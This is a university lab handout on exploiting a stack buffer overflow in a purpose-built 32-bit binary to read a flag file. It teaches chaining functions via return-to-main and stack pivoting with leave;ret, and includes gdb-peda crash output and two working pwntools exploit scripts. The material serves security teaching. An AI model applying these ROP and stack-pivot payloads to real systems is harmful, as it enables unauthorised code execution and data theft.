This is an old revision of the document!
You will use this lab archive throughout the lab.
Please download the lab archive an then unpack it using the commands below:
$ wget http://elf.cs.pub.ro/oss/res/labs/lab-11.tar.gz $ tar xzf lab-11.tar.gz
After unpacking, you will get the lab-11/
folder:
$ cd lab-11/ $ ls -F flag Makefile task1* task1.c
In this lab, we will resume from where we left off our last session.
In many real-life cases you will encounter, a vulnerability will consist of a small buffer overflow, which will not allow you to chain a list of gadgets of arbitrary length. However, there are techniques to circumvent this. Today, we will look at two of these techniques.
Should you need to ret to multiple functions, but you only have space for two or three, then you can choose to return to main
again, or to the function in which the bug is present.
A more elegant solution is to “pivot” the stack. Suppose there are additional constraints imposed such that it is impossible to return and repeat the overflow.
Pivoting the stack basically means getting ESP
to point elsewhere in memory, preferably a read-writable location which we control.
Supposing we find such a region in memory, we can simply return to a call read
and simulate a call to read(0, pivot, size);
. The pivot
address will contain a fabricated stack containing a ropchain of (nearly) arbitrary size.
But how do we get ESP
to point to a different region in memory? If you think about the leave
instruction, which roughly does the following, you will begin to see an answer:
mov esp, ebp pop ebp
Hence, when we overwrite the stored frame pointer, we can set its value to where we'll want ESP
to point to.
Analyze the source file task1.c
. See if you can spot the vulnerability.
The goal of the task is to get the contents of the flag
file through the binary. In order to do this, we need to chain three functions together.
# gdb ./task1 gdb-peda$ pattc 0x40 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH' gdb-peda$ r Starting program: /task1 Welcome to our Retired Old Programmers message board! Please leave a message: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x40 ('@') EBX: 0x0 ECX: 0xff838de8 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\274\216\203\377") EDX: 0x40 ('@') ESI: 0xf76e0000 --> 0x1aedb0 EDI: 0xf76e0000 --> 0x1aedb0 EBP: 0x41304141 ('AA0A') ESP: 0xff838e18 ("bAA1AAGAAcAA2AAH\274\216\203\377") EIP: 0x41414641 ('AFAA') EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414641 [------------------------------------stack-------------------------------------] 0000| 0xff838e18 ("bAA1AAGAAcAA2AAH\274\216\203\377") 0004| 0xff838e1c ("AAGAAcAA2AAH\274\216\203\377") 0008| 0xff838e20 ("AcAA2AAH\274\216\203\377") 0012| 0xff838e24 ("2AAH\274\216\203\377") 0016| 0xff838e28 --> 0xff838ebc --> 0xff83a1b0 ("LC_PAPER=ro_RO.UTF-8") 0020| 0xff838e2c --> 0x0 0024| 0xff838e30 --> 0x0 0028| 0xff838e34 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414641 in ?? () gdb-peda$ patto AFAA AFAA found at offset: 44
Our return address is at offset 44 and the total amount read is 64. That leaves us room for 5 gadgets, which are not enough to call three functions with 3 arguments in total.
Let's think about how a small ropchain needs to look like if we want to:
1. Return to the function which opens the flag file.
2. Pass it the correct argument.
3. Return to main
afterwards.
[ESP] <address_of_stop> [ESP+4] <address_of_main> [ESP+8] <valid_argument_for_stop>
We'll need to save a few useful addresses:
# nm task1 | egrep "main|stop|right|there|play"
0804862d T main
080485fb T play
08048571 T right
0804851b T stop
080485d1 T there
Let's start writing our exploit script.
#!/usr/bin/env python from pwn import * io = process('./task1') # Useful values ret_offset = 44 main_addr = 0x0804862d play_addr = 0x080485fb open_flag = 0x0804851b open_key = 0x4ABADA55 # Construct payloads payload_to_ret = 'A'*(ret_offset-4) + p32(play_addr-4) payload1 = payload_to_ret payload1 += p32(open_flag) payload1 += p32(main_addr) payload1 += p32(open_key) io.recvline() io.recvline() io.sendline(payload1) io.interactive()
Let's test this code to see if it works:
# ./test.py [+] Starting local process './task1': Done [*] Switching to interactive mode -> secret vault opened Welcome to our Retired Old Programmers message board! Please leave a message: $ [*] Stopped program './task1'
Build two more similar payloads to send, one to return to the function which reads the contents of the flag and another which prints the flag. Remember to return to main
in order to be able to chain the two together.
Navigate to task2
. Notice that we have the same source file. This time, we will pivot the stack before supplying our ROP chain.
We can use gdb-peda
to see the memory mappings of a binary at runtime.
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08049000 r-xp task1 0x08049000 0x0804a000 r--p task1 0x0804a000 0x0804b000 rw-p task1 0xf75e9000 0xf75ea000 rw-p mapped 0xf75ea000 0xf7797000 r-xp /lib32/libc-2.23.so 0xf7797000 0xf7799000 r--p /lib32/libc-2.23.so 0xf7799000 0xf779a000 rw-p /lib32/libc-2.23.so 0xf779a000 0xf779e000 rw-p mapped 0xf77c3000 0xf77c5000 r--p [vvar] 0xf77c5000 0xf77c6000 r-xp [vdso] 0xf77c6000 0xf77e8000 r-xp /lib32/ld-2.23.so 0xf77e8000 0xf77e9000 rw-p mapped 0xf77e9000 0xf77ea000 r--p /lib32/ld-2.23.so 0xf77ea000 0xf77eb000 rw-p /lib32/ld-2.23.so 0xffba5000 0xffbc6000 rw-p [stack]
The region beginning at 0x0804a000 looks suitable, but just to be safe, let's not choose the starting address.
gdb-peda$ x/20xw 0x0804a000 0x804a000: 0x08049f14 0xf77ea918 0xf77daed0 0x080483a6 0x804a010: 0x080483b6 0x080483c6 0x080483d6 0x080483e6 0x804a020: 0x080483f6 0xf7602540 0x00000000 0x00000000 0x804a030: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a040 <stdout@@GLIBC_2.0>: 0xf7799d60 0x00000000 0x00000000 0x00000000 gdb-peda$ x/20xw 0x0804ad00 0x804ad00: 0x00000000 0x00000000 0x00000000 0x00000000 0x804ad10: 0x00000000 0x00000000 0x00000000 0x00000000 0x804ad20: 0x00000000 0x00000000 0x00000000 0x00000000 0x804ad30: 0x00000000 0x00000000 0x00000000 0x00000000 0x804ad40: 0x00000000 0x00000000 0x00000000 0x00000000
Apart from the reason that values are not zero at the starting address, there's also the risk of the stack pointer going off bounds into values lower than the starting address, where there is no write permission.
We need to find a sequence of instructions akin to:
call read leave ret
If we look around in the disassembled functions, we notice that play
has just what we need at the end:
0x08048623 <+40>: call 0x80483a0 <read@plt> 0x08048628 <+45>: add esp,0xc 0x0804862b <+48>: leave 0x0804862c <+49>: ret
We will use this sequence to pivot the stack.
Our payload must do a call to read(0, pivot, size);
, so it should look as follows when reaching ret:
[ESP-4] <pivot-4> # Overwrite EBP [ESP] <call read> [ESP+4] 0x0 # stdin [ESP+8] <pivot> # "buffer" [ESP+12] 0x200 # size
With all the pieces in place, we should have a working pivoting payload:
#!/usr/bin/env python from pwn import * io = process('./task1') # Useful values ret_offset = 44 call_read = 0x08048623 pivot = 0x0804ad00 # Construct payloads payload1 = 'A'*(ret_offset-4) payload1 += p32(pivot-4) payload1 += p32(call_read) payload1 += p32(0) payload1 += p32(pivot) payload1 += p32(0x200) log.info(io.recvline()) log.info(io.recvline()) gdb.attach(io) raw_input("Send payload?") io.sendline(payload1) io.interactive()
In order to see pivoting in action, do the following:
# ./test.py [+] Starting local process './task1': Done [*] Welcome to our Retired Old Programmers message board! [*] Please leave a message: [*] running in new terminal: gdb -q "/task1" 4770 [+] Waiting for debugger: Done Send payload?
This will spawn a new gdb-peda
window. Set a breakpoint at the return address of play
(0x0804862c
) then continue
. In the other window (the one waiting for you to answer Send payload?
), hit Enter
. You will notice gdb hits the breakpoint and now you can single step (via ni
).
Once you reach call read
, gdb will block. In the pwntools interactive window, give an input such as AAAA
to complete the read call and unblock gdb. Continue stepping until you reach the leave
instruction. Notice how the value of ebp+4
gets written over esp
. The following ret
instruction will take you to your pivot address, at which you will find your AAAA
.
Now you are set to write a fully working ropchain to sequentially call the three functions in order to open, read and print the contents of the flag file.
pop;pop;ret
gadget. You can use it even for functions with a single argument by simply writing the argument twice.